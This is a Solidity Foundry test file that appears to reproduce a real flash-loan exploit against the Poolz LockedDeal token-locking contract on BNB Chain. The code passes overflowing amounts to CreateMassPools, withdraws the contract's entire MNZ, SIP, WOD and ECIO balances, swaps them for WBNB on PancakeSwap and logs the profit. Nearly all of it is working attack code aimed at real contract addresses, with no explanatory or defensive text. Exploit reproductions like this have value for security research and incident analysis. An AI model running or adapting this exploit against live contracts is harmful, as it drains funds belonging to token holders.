poolz_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";


contract ContractTest is Test {
    IDPPAdvanced constant dppAdvanced = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
    WBNB constant wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);

    IERC20 constant mnz  = IERC20(0x861f1E1397daD68289e8f6a09a2ebb567f1B895C);

    IERC20 constant wod  = IERC20(0x298632D8EA20d321fAB1C9B473df5dBDA249B2b6);

    IERC20 constant sip  = IERC20(0x9e5965d28E8D44CAE8F9b809396E0931F9Df71CA);

    IERC20 constant ecio  = IERC20(0x327A3e880bF2674Ee40b6f872be2050Ed406b021);

    IERC20 constant busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);


    IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));

    LockedDeal constant   poolzpool = LockedDeal(payable(0x8BfAA473a899439d8E07BF86a8C6cE5De42fE54B));

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 26475403);
    }

    function testExploit() external {
        bytes memory data ;
        address assetTo = address(this);
        data = "poolz";
        dppAdvanced.flashLoan(1e18, 0, assetTo, data);

        
    }





    function DPPFlashLoanCall(address, uint256, uint256, bytes memory data) external {
        if(keccak256(data) == keccak256("poolz")){
            console.log("Flashloan attacks");
            emit log_named_decimal_uint("[Before mnz Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);


            address[] memory swapPath = new address[](3);

            wbnb.withdraw(1e18);

            swapPath[0] = address(wbnb);
            swapPath[1] = address(busd);
            swapPath[2] = address(mnz);

            pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);
            
            mnz.approve(address(poolzpool), type(uint256).max);
            sip.approve(address(poolzpool), type(uint256).max);
            ecio.approve(address(poolzpool), type(uint256).max);
            wod.approve(address(poolzpool), type(uint256).max);


            mnz.approve(address(pancakeRouter), type(uint256).max);
            sip.approve(address(pancakeRouter), type(uint256).max);
            ecio.approve(address(pancakeRouter), type(uint256).max);
            wod.approve(address(pancakeRouter), type(uint256).max);

            
            uint256 mnz_balance = mnz.balanceOf(address(poolzpool));
            uint256 overflow_data;
            
            overflow_data = type(uint256).max - mnz_balance + 2;


            uint64[] memory begintime = new uint64[](2);
            begintime[0] = uint64(block.timestamp);
            begintime[1] = uint64(block.timestamp);


            uint256[] memory transfer_data = new uint256[](2);
            transfer_data[0] = overflow_data;
            transfer_data[1] = mnz_balance;

            address[] memory owner_addr = new address[](2);
            owner_addr[0] = address(this);
            owner_addr[1] = address(this);

            uint256 firstPoolId;
            uint256 lastPoolId;

            ( firstPoolId,  lastPoolId) = poolzpool.CreateMassPools(
                address(mnz),
                begintime,
                transfer_data,
                owner_addr
            );

            poolzpool.WithdrawToken(lastPoolId);

            uint256 mnz_number = mnz.balanceOf(address(this));
            
            emit log_named_decimal_uint("[mnz Exp] mnz pool balance", mnz_number, 18);

            
            sellmnz();

            emit log_named_decimal_uint("[After mnz Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);


            wbnb.withdraw(1e18);

            emit log_named_decimal_uint("[Before sip Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);

  

            swapPath[0] = address(wbnb);
            swapPath[1] = address(busd);
            swapPath[2] = address(sip);

            pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);

            uint256 sip_balance = sip.balanceOf(address(poolzpool));
            emit log_named_decimal_uint("[sip Exp] pool sip  balance", sip.balanceOf(address(poolzpool)), 18);

            overflow_data = type(uint256).max - sip_balance + 2;

            transfer_data[0] = overflow_data;
            transfer_data[1] = sip_balance;

            (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(
                address(sip),
                begintime,
                transfer_data,
                owner_addr
            );

            poolzpool.WithdrawToken(lastPoolId);
            
            sellsip();

            emit log_named_decimal_uint("[After sip Exp] pool sip  balance", sip.balanceOf(address(poolzpool)), 18);

            emit log_named_decimal_uint("[After sip Exp] user wbnb  balance", wbnb.balanceOf(address(this)), 18);

            wbnb.withdraw(1e18);

            emit log_named_decimal_uint("[Before wod Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);

            address[] memory simplepath = new address[](2);

            simplepath[0] = address(wbnb);
            simplepath[1] = address(wod);

            pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, simplepath, address(this), block.timestamp);

            uint256 wod_balance = wod.balanceOf(address(poolzpool));
            emit log_named_decimal_uint("[wod Exp] pool wod  balance", wod.balanceOf(address(poolzpool)), 18);

            overflow_data = type(uint256).max - wod_balance + 2;

            transfer_data[0] = overflow_data;
            transfer_data[1] = wod_balance;

            (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(
                address(wod),
                begintime,
                transfer_data,
                owner_addr
            );

            poolzpool.WithdrawToken(lastPoolId);
            
            sellwod();

            emit log_named_decimal_uint("[After wod Exp] pool wod  balance", wod.balanceOf(address(poolzpool)), 18);

            emit log_named_decimal_uint("[After wod Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);

            
            wbnb.withdraw(1e18);

            emit log_named_decimal_uint("[Before ecio Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);

            swapPath[0] = address(wbnb);
            swapPath[1] = address(busd);
            swapPath[2] = address(ecio);

            pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);

            uint256 ecio_balance = ecio.balanceOf(address(poolzpool));

            emit log_named_decimal_uint("[ecio Exp] pool ecio  balance", ecio.balanceOf(address(poolzpool)), 18);

            overflow_data = type(uint256).max - ecio_balance + 2;

            transfer_data[0] = overflow_data;
            transfer_data[1] = ecio_balance;

            (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(
                address(ecio),
                begintime,
                transfer_data,
                owner_addr
            );

            poolzpool.WithdrawToken(lastPoolId);
        

            sellecio();

            emit log_named_decimal_uint("[After ecio Exp] pool ecio  balance", ecio.balanceOf(address(poolzpool)), 18);

            emit log_named_decimal_uint("[After ecio Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);
            
            emit log_named_decimal_uint("[Total exploit wbnb balance ] wbnb  balance", wbnb.balanceOf(address(this)), 18);

            wbnb.transfer(address(dppAdvanced), 1 * 1e18);
            

        }
      


    }


    function sellecio() internal{
        address [] memory path = new address[](3);
        path[0] = address(ecio);
        path[1] = address(busd);
        path[2] = address(wbnb);
        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            ecio.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sellwod() internal{
        address [] memory path = new address[](2);
        path[0] = address(wod);
        path[1] = address(wbnb);
        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            wod.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }


    function sellsip() internal{
        address [] memory path = new address[](3);
        path[0] = address(sip);
        path[1] = address(busd);
        path[2] = address(wbnb);
        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            sip.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }


    function sellmnz() internal{
        address [] memory path = new address[](3);
        path[0] = address(mnz);
        path[1] = address(busd);
        path[2] = address(wbnb);
        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            mnz.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }


    receive() external payable {}
}



interface IDPPAdvanced {
  

    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes memory data) external;
   
} 

interface LockedDeal {
    event NewPoolCreated(
        uint256 PoolId,
        address Token,
        uint64 FinishTime,
        uint256 StartAmount,
        address Owner
    );
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    event PoolApproval(uint256 PoolId, address Spender, uint256 Amount);
    event PoolOwnershipTransfered(
        uint256 PoolId,
        address NewOwner,
        address OldOwner
    );
    event TransferIn(uint256 Amount, address From, address Token);
    event TransferInETH(uint256 Amount, address From);
    event TransferOut(uint256 Amount, address To, address Token);
    event TransferOutETH(uint256 Amount, address To);

    function ApproveAllowance(
        uint256 _PoolId,
        uint256 _Amount,
        address _Spender
    ) external;

    function CreateMassPools(
        address _Token,
        uint64[] memory _FinishTime,
        uint256[] memory _StartAmount,
        address[] memory _Owner
    ) external returns (uint256, uint256);

    function CreateNewPool(
        address _Token,
        uint64 _FinishTime,
        uint256 _StartAmount,
        address _Owner
    ) external returns (uint256);

    function CreatePoolsWrtTime(
        address _Token,
        uint64[] memory _FinishTime,
        uint256[] memory _StartAmount,
        address[] memory _Owner
    ) external returns (uint256, uint256);

    function GetFee() external view returns (uint16);

    function GetMinDuration() external view returns (uint16);

    function GetMyPoolsId() external view returns (uint256[] memory);

    function GetPoolAllowance(uint256 _PoolId, address _Address)
        external
        view
        returns (uint256);

    function GetPoolData(uint256 _id)
        external
        view
        returns (
            uint64,
            uint256,
            address,
            address
        );

    function GovernerContract() external view returns (address);

    function IsPayble() external view returns (bool);

    function PozFee() external view returns (uint256);

    function PozTimer() external view returns (uint256);

    function SetFee(uint16 _fee) external;

    function SetMinDuration(uint16 _minDuration) external;

    function SetPOZFee(uint16 _fee) external;

    function SetPozTimer(uint256 _pozTimer) external;

    function SplitPoolAmount(
        uint256 _PoolId,
        uint256 _NewAmount,
        address _NewOwner
    ) external returns (uint256);

    function SplitPoolAmountFrom(
        uint256 _PoolId,
        uint256 _Amount,
        address _Address
    ) external returns (uint256);

    function SwitchIsPayble() external;

    function TransferPoolOwnership(uint256 _PoolId, address _NewOwner) external;

    function WhiteListId() external view returns (uint256);

    function WhiteList_Address() external view returns (address);

    function WithdrawERC20Fee(address _Token, address _to) external;

    function WithdrawETHFee(address _to) external;

    function WithdrawToken(uint256 _PoolId) external returns (bool);

    function isTokenFilterOn() external view returns (bool);

    function isTokenWhiteListed(address _tokenAddress)
        external
        view
        returns (bool);

    function maxTransactionLimit() external view returns (uint256);

    function name() external view returns (string memory);

    function owner() external view returns (address);

    function renounceOwnership() external;

    function setGovernerContract(address _address) external;

    function setMaxTransactionLimit(uint256 _newLimit) external;

    function setWhiteListAddress(address _address) external;

    function setWhiteListId(uint256 _id) external;

    function swapTokenFilter() external;

    function transferOwnership(address newOwner) external;

    receive() external payable;
}